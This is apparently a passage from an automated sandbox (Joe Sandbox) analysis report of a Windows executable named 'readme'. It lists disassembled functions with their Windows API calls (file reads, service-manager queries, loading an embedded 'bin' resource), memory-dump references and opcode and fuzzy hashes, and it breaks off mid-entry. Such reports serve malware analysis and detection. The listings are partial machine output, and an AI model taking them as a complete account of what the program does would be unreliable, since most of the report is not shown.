CloseHandle.KERNEL32(00000000), ref: 00415763

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseFileHandle$Create$MappingView
String ID:
API String ID: 3943831188-0
Opcode ID: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
Instruction ID: eb472704c8537460521009dc0dce809b9dfd64f6dddd53decf9b69cebded8fb2
Opcode Fuzzy Hash: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
Instruction Fuzzy Hash: 97513D352043909BD321EB3AEC927DBBBD5ABCA310F54543AE9C4973B2C6B69405CB1D

Function 00414F49 Relevance: 13.6, APIs: 9, Instructions: 73memorysynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000001), ref: 00414F58
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00414F96
CloseHandle.KERNEL32(?), ref: 00414FA6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414FB7
CloseHandle.KERNEL32(00000000), ref: 00414FBA
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FD2
HeapFree.KERNEL32(00000000), ref: 00414FDB
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FE4
HeapFree.KERNEL32(00000000), ref: 00414FE7

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$CloseHandle$FreeObjectProcessSingleWait
String ID:
API String ID: 2579758194-0
Opcode ID: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
Instruction ID: 966a43781993c991ec9a06a83fdc448c25b6a2ab2b61fe85e3c188c58705bdba
Opcode Fuzzy Hash: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
Instruction Fuzzy Hash: EB21A2351083809BC225EB69DC41BABBBE8AFD9714F44161EE5A8433D1CB746805CB2B

Function 0040B0F0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 169fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,00000000), ref: 0040B13C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
CloseHandle.KERNEL32(00000000), ref: 0040B2DF

Strings

, xrefs: 0040B18D

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointer
String ID:
API String ID: 3856724686-3916222277
Opcode ID: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
Instruction ID: f9615a2b2c25ec5e1afef60f4e7c90419b410b37da83d95b541e47871ec683b4
Opcode Fuzzy Hash: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
Instruction Fuzzy Hash: 1651B271E00218EBDB24DBA5DD85BAEB7B8FF44710F10052EE502B72D1D778A941CBA9

Function 0042C8F5 Relevance: 12.2, APIs: 8, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,?,0042F660,00000038,0042B6ED,?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020), ref: 0042C933
GetCPInfo.KERNEL32(00000000,00000001), ref: 0042C946
_strlen.LIBCMT ref: 0042C96A
MultiByteToWideChar.KERNEL32(00000000,00000001,0042B335,?,00000000,00000000), ref: 0042C98B

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Info$ByteCharMultiWide_strlen
String ID:
API String ID: 1335377746-0
Opcode ID: e7eae73510b1a6f52b71c388bc37a5b4cf69bb84f4117bde77e4d4d51f61c10f
Instruction ID: 1cbf8f742c718ae3e0944b330c4ad140625f126a7c77b4e5641174acd2f5a51b
Opcode Fuzzy Hash: e7eae73510b1a6f52b71c388bc37a5b4cf69bb84f4117bde77e4d4d51f61c10f
Instruction Fuzzy Hash: 36517F70A01229ABCB20DF96ED85AAF7BB9EF44750FA4011BF415A2250D7354941CB68

Function 0042AA29 Relevance: 12.1, APIs: 8, Instructions: 131COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(75920A60,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA45
GetLastError.KERNEL32(?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA59
GetEnvironmentStringsW.KERNEL32(75920A60,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA7B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,75920A60,00000000,?,?,?,?,00425EA6), ref: 0042AAAF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAD1
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAEA
GetEnvironmentStrings.KERNEL32(75920A60,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AB00
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0042AB3C

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
Instruction ID: 46c70b45b6b314e6cb2813fa54a0f67757c5fcac65bc45981b8617f7325219ec
Opcode Fuzzy Hash: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
Instruction Fuzzy Hash: B231E6727042356FDB206F797E8483BBA9DEF55354795083BFE41C3200E5699CA1C2AB

Function 0042AB4B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0042ABA8
GetFileType.KERNEL32(?), ref: 0042AC52
GetStdHandle.KERNEL32(-000000F6), ref: 0042ACD3

Strings

d'C, xrefs: 0042ABE5

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID: d'C
API String ID: 2461013171-2240747681
Opcode ID: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
Instruction ID: b91d51b33192239ebbe76f0b008aa2615b8e70416bf349f0ebea2a7c65bc7c7e
Opcode Fuzzy Hash: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
Instruction Fuzzy Hash: 2851F3713047218FD720CF29E9847227BE4FB11325FA4466ED9A6CB2E2D778D425C70A

Function 00407650 Relevance: 10.6, APIs: 7, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000,?,?,?,0040B501,00000000,00000000,00000000), ref: 0040769F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
Instruction ID: 9a062db39f6a5f139ad70d347d9c9746101c966207b1449d83cde9679a236ffa
Opcode Fuzzy Hash: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
Instruction Fuzzy Hash: 18315CB2608300AFD350DF29DC81F9AB7E8BB88714F50493AF245D6290D7B4E945CB9A

Function 0041EFA0 Relevance: 10.5, APIs: 7, Instructions: 41serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00431C98,0042051B,?,00431CEC), ref: 0041EFAA
GetLastError.KERNEL32 ref: 0041EFB6
OpenServiceA.ADVAPI32(00000000,000000EF,00000004), ref: 0041EFD0
GetLastError.KERNEL32 ref: 0041EFDA
CloseServiceHandle.ADVAPI32(00000000), ref: 0041EFE7

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
Instruction ID: 89dee9bad4ab5eec4a1989d4adc2e41a6cfd6003cc042db67122dc7d02015971
Opcode Fuzzy Hash: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
Instruction Fuzzy Hash: BEF03136205220AFD361AB66DC08F8BB7E4EFA5350F518426FA409B250C7B49843CBA5

Function 0042B56A Relevance: 9.1, APIs: 6, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0042EB1C,00000001,?,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B58E
GetLastError.KERNEL32 ref: 0042B5A0
MultiByteToWideChar.KERNEL32(?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B602
MultiByteToWideChar.KERNEL32(?,00000001,00000000,0042B335,?,00000000), ref: 0042B680
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 0042B692

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: 065b806abc50d4fe4b2ec313b7b0f5159d82bf3686ad449a59d1a901a37e99c5
Instruction ID: f0f8bd57be9de59517cc605bd017ac116da641922c0873b55133153ad94c77ef
Opcode Fuzzy Hash: 065b806abc50d4fe4b2ec313b7b0f5159d82bf3686ad449a59d1a901a37e99c5
Instruction Fuzzy Hash: 8041C231A00235EBCB219F61FC45BAF3B65EF48760F94411AF914A7290C779C951CBE9

Function 0041AE80 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 31stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 0041AEB7

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

I, xrefs: 0041AE9E
TI, xrefs: 0041AECA
U, xrefs: 0041AE99
Q, xrefs: 0041AE94
T, xrefs: 0041AEA3

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: TI$I$Q$T$U
API String ID: 1203007601-4180699136
Opcode ID: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction ID: 301686960094d4809af912793bbcb5906ed8551e1f1d0e03f2bc55d77cb3246a
Opcode Fuzzy Hash: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction Fuzzy Hash: 19F0C26510C390AED301D329D84479FBFC49BD5318F48C95EF0DC86291D678C588C767

Function 0042C576 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(80000000,80000000,0042E40C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 0042C753
GetFileType.KERNEL32(00000000), ref: 0042C760
CloseHandle.KERNEL32(00000000), ref: 0042C76B
GetLastError.KERNEL32 ref: 0042C771

Strings

H, xrefs: 0042C7C0

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID: H
API String ID: 1809617866-2852464175
Opcode ID: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
Instruction ID: 102a8983cbf31db5d01c2ed3558011b335ab8adb99a249c34fa16b283160ce35
Opcode Fuzzy Hash: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
Instruction Fuzzy Hash: BD813730B042359AEF209BA4F8C57BF7B60AF02314F94415BE451A72C1C7BD8D46DB9A

Function 0042B1B9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0042B1F3

Strings

0&C, xrefs: 0042B2C2
%C, xrefs: 0042B24D
0&C, xrefs: 0042B319
%C, xrefs: 0042B20B

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Info
String ID: %C$ %C$0&C$0&C
API String ID: 1807457897-4187950356
Opcode ID: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
Instruction ID: 3a9998ec9ef1a123eeabf32567b225ac1ab3f60614b48bddbca3475532a99bbe
Opcode Fuzzy Hash: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
Instruction Fuzzy Hash: FA413670A043609ED705CF64E99427EBBA1DB09304FA864BBD985C7351C37D8A46CBED

Function 0040B213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7

Strings

, xrefs: 0040B18D

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$Read$Pointer
String ID:
API String ID: 2018848721-3916222277
Opcode ID: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
Instruction ID: 866c534031c73db29c2cd1ecf333b056677a8ac96b3e8d6862a38f2d8022ddcb
Opcode Fuzzy Hash: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
Instruction Fuzzy Hash: 4E419C71900208EBDB24EB95CD84BEEB7B8BF44304F14412EE902772D1EB786945CBA9

Function 00421DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,bin), ref: 00421DF1
LoadResource.KERNEL32(?,00000000,?), ref: 00421E03

Strings

bin, xrefs: 00421DEA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Resource$FindLoad
String ID: bin
API String ID: 2619053042-2854705901
Opcode ID: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
Instruction ID: 9d8cb5d61aa00d475561c7ecdaaca8325d521027bad4654bdbc150deacd057bb
Opcode Fuzzy Hash: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
Instruction Fuzzy Hash: AFF062723013315BC7219F6AAC889977BADEFD57A2755483AF901C7210C774C80287B4

Function 00424722 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00424727

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

__EH_prolog.LIBCMT ref: 00424767

Strings

invalid string position, xrefs: 0042472F
hB, xrefs: 00424795
string too long, xrefs: 0042476F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID: hB$invalid string position$string too long
API String ID: 2062786585-4136523384
Opcode ID: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction ID: 11e73fe8e2f787134ba4100129d5177836af9054e9acb309ed81b3bbf2727209
Opcode Fuzzy Hash: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction Fuzzy Hash: E1F012B2B101389AC700F7D5E945ADDB774AB18319FD0416BE101B5085DBF85608CB6D

Function 00427648 Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,00425255,?), ref: 004276FB
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427779
InterlockedExchange.KERNEL32(00432200,00000000), ref: 004277DE
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427802
InterlockedExchange.KERNEL32(00432200,00000000), ref: 00427862

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ExchangeInterlocked$QueryVirtual
String ID:
API String ID: 2947987494-0
Opcode ID: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
Instruction ID: 69315932293a6f15bc6fa72f35dddf1ea49eabd3a30424e24b4ce32bea02e01f
Opcode Fuzzy Hash: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
Instruction Fuzzy Hash: EA510730B086319BDB248B19FAC4B3A73A1AB41724FA5956FD511873E1D3B8EC81C65C

Function 0040BB70 Relevance: 7.7, APIs: 6, Instructions: 162memorysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004074A0: WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
